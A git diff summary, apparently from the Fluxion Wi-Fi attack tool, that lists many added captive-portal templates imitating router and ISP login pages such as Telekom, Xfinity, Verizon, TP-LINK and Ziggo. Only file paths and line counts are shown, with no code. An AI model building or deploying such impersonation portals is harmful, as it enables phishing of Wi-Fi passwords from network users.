.../Proximus_nl.portal/img/Tablet_icon.png | Bin 0 -> 573 bytes .../img/Tablet_icon_disable.png | Bin 0 -> 570 bytes .../sites/Proximus_nl.portal/img/USB_icon.png | Bin 0 -> 764 bytes .../img/Wifi_Bridge_icon.png | Bin 0 -> 673 bytes .../img/Wifi_Bridge_icon_disable.png | Bin 0 -> 670 bytes .../Proximus_nl.portal/img/access_control.png | Bin 0 -> 896 bytes .../img/access_control_purple.png | Bin 0 -> 995 bytes .../Proximus_nl.portal/img/arrow-down1.png | Bin 0 -> 441 bytes .../img/arrow-down1_hover.png | Bin 0 -> 430 bytes .../img/arrow-right-hover.png | Bin 0 -> 355 bytes .../Proximus_nl.portal/img/arrow-right.png | Bin 0 -> 385 bytes .../Proximus_nl.portal/img/arrow-up1.png | Bin 0 -> 437 bytes .../img/arrow-up1_hover.png | Bin 0 -> 431 bytes .../sites/Proximus_nl.portal/img/close.png | Bin 0 -> 310 bytes .../sites/Proximus_nl.portal/img/down-arw.png | Bin 0 -> 151 bytes .../sites/Proximus_nl.portal/img/ethernet.png | Bin 0 -> 897 bytes .../Proximus_nl.portal/img/header_bg.png | Bin 0 -> 312 bytes .../Proximus_nl.portal/img/help_disabled.png | Bin 0 -> 531 bytes .../img/intercept_title.png | Bin 0 -> 956 bytes .../Proximus_nl.portal/img/login_help.png | Bin 0 -> 445 bytes .../img/login_help_hover.png | Bin 0 -> 441 bytes .../Proximus_nl.portal/img/login_title.png | Bin 0 -> 698 bytes .../sites/Proximus_nl.portal/img/logo.png | Bin 0 -> 1677 bytes .../sites/Proximus_nl.portal/img/logout.png | Bin 0 -> 383 bytes .../Proximus_nl.portal/img/mobile_icon.png | Bin 0 -> 703 bytes .../img/mobile_icon_disable.png | Bin 0 -> 701 bytes .../Proximus_nl.portal/img/modal_close.png | Bin 0 -> 522 bytes .../sites/Proximus_nl.portal/img/my_modem.png | Bin 0 -> 455 bytes .../img/my_modem_purple.png | Bin 0 -> 507 bytes .../img/network_connectivity.png | Bin 0 -> 970 bytes .../img/network_connectivity_black.png | Bin 0 -> 985 bytes .../img/network_connectivity_purple.png | Bin 0 -> 1199 bytes .../sites/Proximus_nl.portal/img/pc_icon.png | Bin 0 -> 551 bytes .../img/pc_icon_disable.png | Bin 0 -> 528 bytes .../img/popup_tab_border.png | Bin 0 -> 115 bytes .../sites/Proximus_nl.portal/img/profile.png | Bin 0 -> 772 bytes .../Proximus_nl.portal/img/profile_hover.png | Bin 0 -> 806 bytes .../img/profile_loggedout.png | Bin 0 -> 49216 bytes .../img/profile_settings.png | Bin 0 -> 847 bytes .../Proximus_nl.portal/img/select_arrow.png | Bin 0 -> 185 bytes .../sites/Proximus_nl.portal/img/settings.png | Bin 0 -> 494 bytes .../Proximus_nl.portal/img/settings_black.png | Bin 0 -> 336 bytes .../img/settings_purple.png | Bin 0 -> 499 bytes .../Proximus_nl.portal/img/settings_white.png | Bin 0 -> 408 bytes .../Proximus_nl.portal/img/telephone_icon.png | Bin 0 -> 582 bytes .../img/telephone_icon_disable.html | 4 + .../sites/Proximus_nl.portal/img/up-arw.png | Bin 0 -> 208 bytes .../Proximus_nl.portal/img/user_data.png | Bin 0 -> 76406 bytes .../img/wifi_bridge_repeater_icon.png | Bin 0 -> 709 bytes .../img/wifi_bridge_repeater_icon_disable.png | Bin 0 -> 707 bytes .../img/wifi_fivepzeo_ghz.png | Bin 0 -> 2268 bytes .../img/wifi_twopfour_ghz.png | Bin 0 -> 2335 bytes .../sites/Proximus_nl.portal/index.html | 414 + .../Proximus_nl.portal/js/bootstrap.min.js | 7 + .../sites/Proximus_nl.portal/js/jquery.min.js | 4 + .../sites/SFR_fr.portal/css/common.css | 680 ++ .../sites/SFR_fr.portal/css/menuneufbox.css | 51 + .../sites/SFR_fr.portal/css/reset.css | 1 + .../sites/SFR_fr.portal/css/wifi.css | 15 + .../sites/SFR_fr.portal/error.html | 142 + .../sites/SFR_fr.portal/final.html | 23 + .../sites/SFR_fr.portal/img/aide.jpg | Bin 0 -> 16384 bytes .../sites/SFR_fr.portal/img/button_add.png | Bin 0 -> 806 bytes .../SFR_fr.portal/img/button_add_hover.png | Bin 0 -> 858 bytes .../sites/SFR_fr.portal/img/button_edit.html | 7 + .../SFR_fr.portal/img/button_edit_hover.html | 7 + .../SFR_fr.portal/img/button_generate.png | Bin 0 -> 812 bytes .../img/button_generate_hover.png | Bin 0 -> 855 bytes .../SFR_fr.portal/img/button_network.png | Bin 0 -> 798 bytes .../img/button_network_hover.png | Bin 0 -> 845 bytes .../sites/SFR_fr.portal/img/button_remove.png | Bin 0 -> 805 bytes .../SFR_fr.portal/img/button_remove_hover.png | Bin 0 -> 858 bytes .../SFR_fr.portal/img/button_submit_left.png | Bin 0 -> 277 bytes .../img/button_submit_left_disabled.png | Bin 0 -> 213 bytes .../SFR_fr.portal/img/button_submit_right.png | Bin 0 -> 550 bytes .../img/button_submit_right_disabled.png | Bin 0 -> 387 bytes .../SFR_fr.portal/img/header_background.png | Bin 0 -> 246 bytes .../sites/SFR_fr.portal/img/header_logo.png | Bin 0 -> 3724 bytes .../SFR_fr.portal/img/help_background.png | Bin 0 -> 2418 bytes .../SFR_fr.portal/img/icon_anim_loading.gif | Bin 0 -> 1818 bytes .../sites/SFR_fr.portal/img/icon_close.png | Bin 0 -> 2060 bytes .../sites/SFR_fr.portal/img/icon_disabled.png | Bin 0 -> 734 bytes .../sites/SFR_fr.portal/img/icon_enabled.png | Bin 0 -> 748 bytes .../sites/SFR_fr.portal/img/icon_error.png | Bin 0 -> 1313 bytes .../sites/SFR_fr.portal/img/icon_info.png | Bin 0 -> 1600 bytes .../sites/SFR_fr.portal/img/icon_unused.png | Bin 0 -> 779 bytes .../sites/SFR_fr.portal/img/icon_warning.png | Bin 0 -> 1574 bytes .../SFR_fr.portal/img/menu_background.png | Bin 0 -> 227 bytes .../sites/SFR_fr.portal/img/tab_menu_off.png | Bin 0 -> 475 bytes .../sites/SFR_fr.portal/img/tab_menu_on.png | Bin 0 -> 217 bytes .../img/tab_submenu_left_off.html | 7 + .../img/tab_submenu_left_offd.png | Bin 0 -> 202 bytes .../img/tab_submenu_left_ond.png | Bin 0 -> 221 bytes .../img/tab_submenu_right_off.png | Bin 0 -> 261 bytes .../img/tab_submenu_right_on.png | Bin 0 -> 260 bytes .../sites/SFR_fr.portal/index.html | 142 + .../sites/SFR_fr.portal/js/global.js | 99 + .../sites/SFR_fr.portal/js/wifi.js | 3 + .../sites/Sitecom_it.portal/css/main.css | 150 + .../sites/Sitecom_it.portal/css/style.css | 36 + .../sites/Sitecom_it.portal/download.htm | 81 + .../sites/Sitecom_it.portal/img/bg_nav.png | Bin 0 -> 206 bytes .../Sitecom_it.portal/img/bg_nav_hover.jpg | Bin 0 -> 390 bytes .../Sitecom_it.portal/img/body_background.jpg | Bin 0 -> 484 bytes .../img/content_background.jpg | Bin 0 -> 13903 bytes .../sites/Sitecom_it.portal/img/favicon.ico | Bin 0 -> 1150 bytes .../sites/Sitecom_it.portal/img/header.png | Bin 0 -> 16654 bytes .../sites/Sitecom_it.portal/img/logo.png | Bin 0 -> 8513 bytes .../Sitecom_it.portal/img/maintableft.gif | Bin 0 -> 101 bytes .../img/maintableft_over.png | Bin 0 -> 342 bytes .../Sitecom_it.portal/img/maintabright.gif | Bin 0 -> 299 bytes .../img/maintabright_over.png | Bin 0 -> 1164 bytes .../sites/Sitecom_it.portal/img/menu_bg.gif | Bin 0 -> 77 bytes .../sites/Sitecom_it.portal/img/seperator.png | Bin 0 -> 163 bytes .../sites/Sitecom_it.portal/index.htm | 2 + .../Sitecom_it.portal/js/bootstrap-submenu.js | 1 + .../Sitecom_it.portal/js/bootstrap.min.js | 6 + .../sites/Sitecom_it.portal/js/common.js | 1 + .../js/detectmobilebrowser.js | 1 + .../sites/Sitecom_it.portal/js/general.js | 1 + .../sites/Sitecom_it.portal/js/getlanguage.js | 212 + .../Sitecom_it.portal/js/jquery-1.11.0.min.js | 2 + .../Sitecom_it.portal/js/jquery-2.1.4.min.js | 4 + .../Sitecom_it.portal/js/main-include.js | 1 + .../sites/Sitecom_it.portal/js/pBar.js | 26 + .../sites/Sitecom_it.portal/js/script.asc | 25 + .../sites/Sitecom_it.portal/js/setlanguage.js | 10 + .../sites/Sitecom_it.portal/status.html | 2 + .../Sitecom_it.portal/status_deviceinfo.html | 53 + .../sites/TP-LINK_en.portal/bootstrap.min.css | 5 + .../sites/TP-LINK_en.portal/bootstrap.min.js | 1 + .../sites/TP-LINK_en.portal/error.html | 90 + .../sites/TP-LINK_en.portal/final.html | 155 + .../sites/TP-LINK_en.portal/index.html | 1190 +++ .../sites/TP-LINK_en.portal/jquery.min.js | 4 + .../sites/TP-LINK_it.portal/css/main.css | 1 + .../sites/TP-LINK_it.portal/css/update.css | 24 + .../sites/TP-LINK_it.portal/img/col_hide.gif | Bin 0 -> 1099 bytes .../sites/TP-LINK_it.portal/img/col_show.gif | Bin 0 -> 1009 bytes .../sites/TP-LINK_it.portal/img/icon.jpg | Bin 0 -> 1404 bytes .../sites/TP-LINK_it.portal/img/top1_1.jpg | Bin 0 -> 5739 bytes .../sites/TP-LINK_it.portal/img/top1_2.jpg | Bin 0 -> 18714 bytes .../sites/TP-LINK_it.portal/img/top2.jpg | Bin 0 -> 888 bytes .../sites/TP-LINK_it.portal/img/top_bg.jpg | Bin 0 -> 599 bytes .../sites/TP-LINK_it.portal/index.htm | 54 + .../TP-LINK_it.portal/js/jquery-2.1.4.min.js | 1 + .../sites/TP-LINK_it.portal/js/pBar.js | 3 + .../css/bootstrap-theme.css | 587 ++ .../css/bootstrap-theme.css.map | 1 + .../css/bootstrap-theme.min.css | 6 + .../css/bootstrap-theme.min.css.map | 1 + .../Technicolor_en.portal/css/bootstrap.css | 6757 +++++++++++++++++ .../css/bootstrap.css.map | 1 + .../css/bootstrap.min.css | 6 + .../css/bootstrap.min.css.map | 1 + .../Technicolor_en.portal/css/custom.css | 59 + .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes .../fonts/glyphicons-halflings-regular.svg | 288 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes .../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes .../Technicolor_en.portal/images/logo.png | Bin 0 -> 8170 bytes .../sites/Technicolor_en.portal/index.html | 2 + .../Technicolor_en.portal/js/bootstrap.js | 862 +++ .../Technicolor_en.portal/js/bootstrap.min.js | 1 + .../sites/Technicolor_en.portal/js/custom.js | 8 + .../js/jquery-3.2.1.min.js | 1 + .../sites/Technicolor_en.portal/js/npm.js | 13 + .../Technicolor_it.portal/images/bull__md.gif | Bin 0 -> 86 bytes .../Technicolor_it.portal/images/ll00__md.gif | Bin 0 -> 409 bytes .../Technicolor_it.portal/images/logo.gif | Bin 0 -> 721 bytes .../Technicolor_it.portal/images/menutop.gif | Bin 0 -> 129 bytes .../Technicolor_it.portal/images/net_l_r.gif | Bin 0 -> 91 bytes .../images/net_l_r_d.gif | Bin 0 -> 110 bytes .../Technicolor_it.portal/images/net_t_d.gif | Bin 0 -> 127 bytes .../images/net_t_d_r.gif | Bin 0 -> 133 bytes .../Technicolor_it.portal/images/net_t_r.gif | Bin 0 -> 114 bytes .../Technicolor_it.portal/images/spacer.gif | Bin 0 -> 43 bytes .../Technicolor_it.portal/images/stxx__xl.gif | Bin 0 -> 1207 bytes .../Technicolor_it.portal/images/task__md.gif | Bin 0 -> 146 bytes .../Technicolor_it.portal/images/user.gif | Bin 0 -> 332 bytes .../sites/Technicolor_it.portal/index.html | 458 ++ .../js/jquery-2.1.4.min.js | 4 + .../sites/Technicolor_it.portal/js/pBar.js | 26 + .../sites/Technicolor_it.portal/styles.css | 151 + .../sites/Telecom_it.portal/css/common.css | 1169 +++ .../sites/Telecom_it.portal/css/style.css | 22 + .../sites/Telecom_it.portal/css/welcome.css | 257 + .../sites/Telecom_it.portal/favicon.ico | Bin 0 -> 15086 bytes .../sites/Telecom_it.portal/img/header.png | Bin 0 -> 14989 bytes .../img/menu_ico_advanced.png | Bin 0 -> 1948 bytes .../Telecom_it.portal/img/menu_ico_basic.png | Bin 0 -> 2250 bytes .../Telecom_it.portal/img/menu_ico_home.png | Bin 0 -> 1322 bytes .../sites/Telecom_it.portal/img/tools.png | Bin 0 -> 878 bytes .../sites/Telecom_it.portal/img/usb.png | Bin 0 -> 906 bytes .../sites/Telecom_it.portal/index.html | 252 + .../Telecom_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Telecom_it.portal/js/pBar.js | 26 + .../Telekom Login-Dateien/components.css | 3 + .../Telekom Login-Dateien/login.css | 325 + .../sites/Telekom_de.portal/error.html | 135 + .../sites/Telekom_de.portal/final.html | 102 + .../fonts/telegroteskscreen-bold.woff | Bin 0 -> 53864 bytes .../fonts/telegroteskscreen-regular.woff | Bin 0 -> 55044 bytes .../fonts/telegroteskscreen-thin.woff | Bin 0 -> 58656 bytes .../fonts/telekomicon-outline.woff | Bin 0 -> 8756 bytes .../sites/Telekom_de.portal/index.html | 133 + .../Verizon_files/actiontec_btm_bar.gif | Bin 0 -> 96 bytes .../Verizon_files/actiontec_lt_btm_corner.gif | Bin 0 -> 604 bytes .../Verizon_files/actiontec_lt_col.gif | Bin 0 -> 93 bytes .../Verizon_files/actiontec_lt_top_corner.gif | Bin 0 -> 590 bytes .../Verizon_files/actiontec_rt_btm_corner.gif | Bin 0 -> 630 bytes .../Verizon_files/actiontec_rt_col.gif | Bin 0 -> 95 bytes .../Verizon_files/actiontec_rt_top_corner.gif | Bin 0 -> 583 bytes .../Verizon_files/actiontec_top_bar.gif | Bin 0 -> 93 bytes .../Verizon_en.portal/Verizon_files/empty.gif | Bin 0 -> 44 bytes .../Verizon_files/vz_logo.gif | Bin 0 -> 3195 bytes .../sites/Verizon_en.portal/error.html | 84 + .../sites/Verizon_en.portal/final.html | 164 + .../sites/Verizon_en.portal/index.html | 84 + .../Xfinity_files/base.js | 2656 +++++++ .../Xfinity_files/base_95x.js | 829 ++ .../Xfinity_files/common-min.css | 32 + .../Xfinity_files/common-min.js | 16 + .../Xfinity_files/img/distractor.gif | Bin 0 -> 2104 bytes .../Xfinity_files/img/label.jpg | Bin 0 -> 59395 bytes .../Xfinity_files/img/logo_xfinity.png | Bin 0 -> 733 bytes .../Xfinity_files/jquery-1.4.2.min.js | 246 + .../jquery-ui-1.8.5.custom.min.js | 778 ++ .../Xfinity_files/json2.js | 482 ++ .../Xfinity_files/mib.js | 3917 ++++++++++ .../Xfinity_files/mib2.js | 313 + .../Xfinity_files/print.css | 50 + .../Xfinity_files/underscore.js | 716 ++ .../Xfinity-Login_en.portal/Xfinity_files/w | 1 + .../sites/Xfinity-Login_en.portal/error.html | 250 + .../sites/Xfinity-Login_en.portal/final.html | 156 + .../sites/Xfinity-Login_en.portal/index.html | 249 + .../sites/Zyxel_it.portal/css/dtree.css | 1 + .../sites/Zyxel_it.portal/css/inside.css | 1 + .../Zyxel_it.portal/css/inside_main_frame.css | 1 + .../sites/Zyxel_it.portal/css/reset.css | 31 + .../sites/Zyxel_it.portal/css/table.css | 1 + .../sites/Zyxel_it.portal/css/update.css | 1 + .../Zyxel_it.portal/images/advance_bg.gif | Bin 0 -> 831 bytes .../Zyxel_it.portal/images/advance_logo.jpg | Bin 0 -> 1728 bytes .../sites/Zyxel_it.portal/images/air.gif | Bin 0 -> 43 bytes .../sites/Zyxel_it.portal/images/b_close.gif | Bin 0 -> 169 bytes .../sites/Zyxel_it.portal/images/b_config.gif | Bin 0 -> 764 bytes .../Zyxel_it.portal/images/b_config_on.gif | Bin 0 -> 726 bytes .../Zyxel_it.portal/images/b_dashboard.gif | Bin 0 -> 714 bytes .../Zyxel_it.portal/images/b_dashboard_on.gif | Bin 0 -> 664 bytes .../images/b_maintenance_on.gif | Bin 0 -> 701 bytes .../Zyxel_it.portal/images/b_monitor.gif | Bin 0 -> 711 bytes .../Zyxel_it.portal/images/b_monitor_on.gif | Bin 0 -> 653 bytes .../Zyxel_it.portal/images/button_left.gif | Bin 0 -> 227 bytes .../Zyxel_it.portal/images/button_right.gif | Bin 0 -> 833 bytes .../sites/Zyxel_it.portal/images/down0.gif | Bin 0 -> 121 bytes .../sites/Zyxel_it.portal/images/empty.gif | Bin 0 -> 62 bytes .../sites/Zyxel_it.portal/images/favicon.ico | Bin 0 -> 1406 bytes .../Zyxel_it.portal/images/hightline.gif | Bin 0 -> 504 bytes .../sites/Zyxel_it.portal/images/i_about.gif | Bin 0 -> 59 bytes .../sites/Zyxel_it.portal/images/i_delete.gif | Bin 0 -> 226 bytes .../Zyxel_it.portal/images/i_delete_on.gif | Bin 0 -> 231 bytes .../sites/Zyxel_it.portal/images/i_easy.gif | Bin 0 -> 280 bytes .../sites/Zyxel_it.portal/images/i_edit.gif | Bin 0 -> 271 bytes .../Zyxel_it.portal/images/i_edit_on.gif | Bin 0 -> 275 bytes .../sites/Zyxel_it.portal/images/i_home.gif | Bin 0 -> 85 bytes .../sites/Zyxel_it.portal/images/i_info.jpg | Bin 0 -> 1445 bytes .../Zyxel_it.portal/images/i_message.gif | Bin 0 -> 211 bytes .../sites/Zyxel_it.portal/images/i_path.gif | Bin 0 -> 197 bytes .../images/i_percentage_blue.gif | Bin 0 -> 146 bytes .../images/i_percentage_center.gif | Bin 0 -> 96 bytes .../sites/Zyxel_it.portal/images/join.gif | Bin 0 -> 57 bytes .../sites/Zyxel_it.portal/images/loading.gif | Bin 0 -> 4743 bytes .../sites/Zyxel_it.portal/images/menu_top.gif | Bin 0 -> 105 bytes .../Zyxel_it.portal/images/message_bar.gif | Bin 0 -> 151 bytes .../Zyxel_it.portal/images/message_bar2.gif | Bin 0 -> 152 bytes .../Zyxel_it.portal/images/minusbottom.gif | Bin 0 -> 73 bytes .../Zyxel_it.portal/images/plusbottom.gif | Bin 0 -> 75 bytes .../images/popup_down_center.gif | Bin 0 -> 98 bytes .../images/popup_down_left.gif | Bin 0 -> 329 bytes .../images/popup_down_right.gif | Bin 0 -> 331 bytes .../images/popup_main_left.gif | Bin 0 -> 68 bytes .../images/popup_main_right.gif | Bin 0 -> 68 bytes .../images/popup_top_center.gif | Bin 0 -> 155 bytes .../Zyxel_it.portal/images/popup_top_left.gif | Bin 0 -> 394 bytes .../images/popup_top_right.gif | Bin 0 -> 380 bytes .../sites/Zyxel_it.portal/images/space.gif | Bin 0 -> 43 bytes .../sites/Zyxel_it.portal/images/tab_left.gif | Bin 0 -> 152 bytes .../Zyxel_it.portal/images/tab_right.gif | Bin 0 -> 1026 bytes .../Zyxel_it.portal/images/table_bottom.gif | Bin 0 -> 54 bytes .../images/table_bottom_center.gif | Bin 0 -> 50 bytes .../images/table_bottom_left.gif | Bin 0 -> 96 bytes .../images/table_bottom_right.gif | Bin 0 -> 95 bytes .../images/table_top_center.gif | Bin 0 -> 152 bytes .../Zyxel_it.portal/images/table_top_left.gif | Bin 0 -> 149 bytes .../images/table_top_right.gif | Bin 0 -> 152 bytes .../sites/Zyxel_it.portal/images/title_bg.jpg | Bin 0 -> 5969 bytes .../sites/Zyxel_it.portal/index.html | 4 + .../Zyxel_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Zyxel_it.portal/js/pBar.js | 26 + .../sites/Zyxel_it.portal/js/setup.js | 44 + .../Zyxel_it.portal/update_firmware.html | 53 + .../Captive Portal/sites/kpn_nl.portal/bg.png | Bin 0 -> 15897 bytes .../sites/kpn_nl.portal/error.html | 91 + .../sites/kpn_nl.portal/final.html | 91 + .../sites/kpn_nl.portal/index.html | 91 + .../sites/kpn_nl.portal/logo.png | Bin 0 -> 6516 bytes .../sites/movistar_es.portal/error.html | 9 + .../sites/movistar_es.portal/final.html | 9 + .../fonts/telegroteskscreen-bold.woff | Bin 0 -> 53864 bytes .../fonts/telegroteskscreen-regular.woff | Bin 0 -> 55044 bytes .../fonts/telegroteskscreen-thin.woff | Bin 0 -> 58656 bytes .../fonts/telekomicon-outline.woff | Bin 0 -> 8756 bytes .../sites/movistar_es.portal/img/happy.png | Bin 0 -> 35113 bytes .../movistar_es.portal/img/logo_movistar.png | Bin 0 -> 2064 bytes .../sites/movistar_es.portal/index.html | 9 + .../movistar_es.portal/styles/components.css | 3 + .../sites/movistar_es.portal/styles/login.css | 340 + .../sites/vodafone_es.portal/ayuda.htm | 2 + .../sites/vodafone_es.portal/background.png | Bin 0 -> 10644 bytes .../sites/vodafone_es.portal/error.html | 38 + .../sites/vodafone_es.portal/final.html | 1 + .../sites/vodafone_es.portal/house.png | Bin 0 -> 51756 bytes .../sites/vodafone_es.portal/house1.png | Bin 0 -> 224918 bytes .../sites/vodafone_es.portal/index.html | 2 + .../sites/vodafone_es.portal/info.css | 1 + .../sites/vodafone_es.portal/info.html | 89 + .../sites/vodafone_es.portal/info2.css | 1 + .../Ziggo-wifi-modem-header-1.gif | Bin 0 -> 3283 bytes .../background_ziggo_blue_talks.gif | Bin 0 -> 16311 bytes .../sites/ziggo1_nl.portal/bg_invoer.png | Bin 0 -> 233 bytes .../sites/ziggo1_nl.portal/btn_left.png | Bin 0 -> 349 bytes .../sites/ziggo1_nl.portal/btn_right.png | Bin 0 -> 402 bytes .../sites/ziggo1_nl.portal/error.html | 189 + .../sites/ziggo1_nl.portal/final.html | 182 + .../sites/ziggo1_nl.portal/index.html | 189 + .../portalWindow_top_bottom.png | Bin 0 -> 395 bytes .../sites/ziggo1_nl.portal/table_bottom.png | Bin 0 -> 361 bytes .../sites/ziggo1_nl.portal/table_top.png | Bin 0 -> 375 bytes .../sites/ziggo2_nl.portal/Ziggo-logo.svg | 24 + .../sites/ziggo2_nl.portal/error.html | 167 + .../sites/ziggo2_nl.portal/final.html | 84 + .../ziggo2_nl.portal/generic-mobemBG.jpg | Bin 0 -> 58984 bytes .../sites/ziggo2_nl.portal/index.html | 157 + .../ziggo2_nl.portal/white-transparent90.png | Bin 0 -> 1206 bytes fluxion.sh | 32 +- misc/instructions.md | 31 + 1328 files changed, 172990 insertions(+), 17 deletions(-) delete mode 100644 .gitmodules create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css.map create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css.map create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.min.css create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.min.css.map create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/css/custom.css create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.eot create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.svg create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.ttf create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff2 create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/images/arris-icon.png create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.js create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/js/custom.js create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/js/jquery-3.2.1.min.js create mode 100644 attacks/Captive Portal/sites/ARRIS_en.portal/js/npm.js create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/background.png create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/error.html create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/final.html create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/house.png create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/house1.png create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/index.html create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/info.css create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/info.html create mode 100644 attacks/Captive Portal/sites/ARRIS_es.portal/info2.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/css/calendar.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/css/common.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/css/helpwidget.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/css/theme.css create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/AdminUser16.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Close16.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade16.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade48.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Home16.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Information32.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/favicon-16x16.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/img/logo.png create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Adbepicentro_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/css/_cpe.css create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/css/layout.css create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonB0.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonB9.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonBC.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonBF.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonC2.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonC5.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonC8_agwifi.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonCF.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonD5.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonD8.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonDB.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonDE.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonE1.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonE4.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/buttonE7.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/button_7.gif create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/images/header_agwifi.jpg create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/js/script.asc create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/statoApparato_data/statoApparato.html create mode 100644 attacks/Captive Portal/sites/Alice_it.portal/statoApparato_data/tabelle.css create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/css/form_style.css create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/css/index_style.css create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/css/update.css create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/asustitle.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/bottom_bg.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/bottom_help.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/bottom_search.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/bottom_text.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/btn.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/btnspan.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/connectstatus.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/contentbt_normal.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/contentbt_over.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/dropdown_bt.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/dropdown_btover.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/export/line_export.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/helpicon.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/hightaba.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/hightabclicka.png create mode 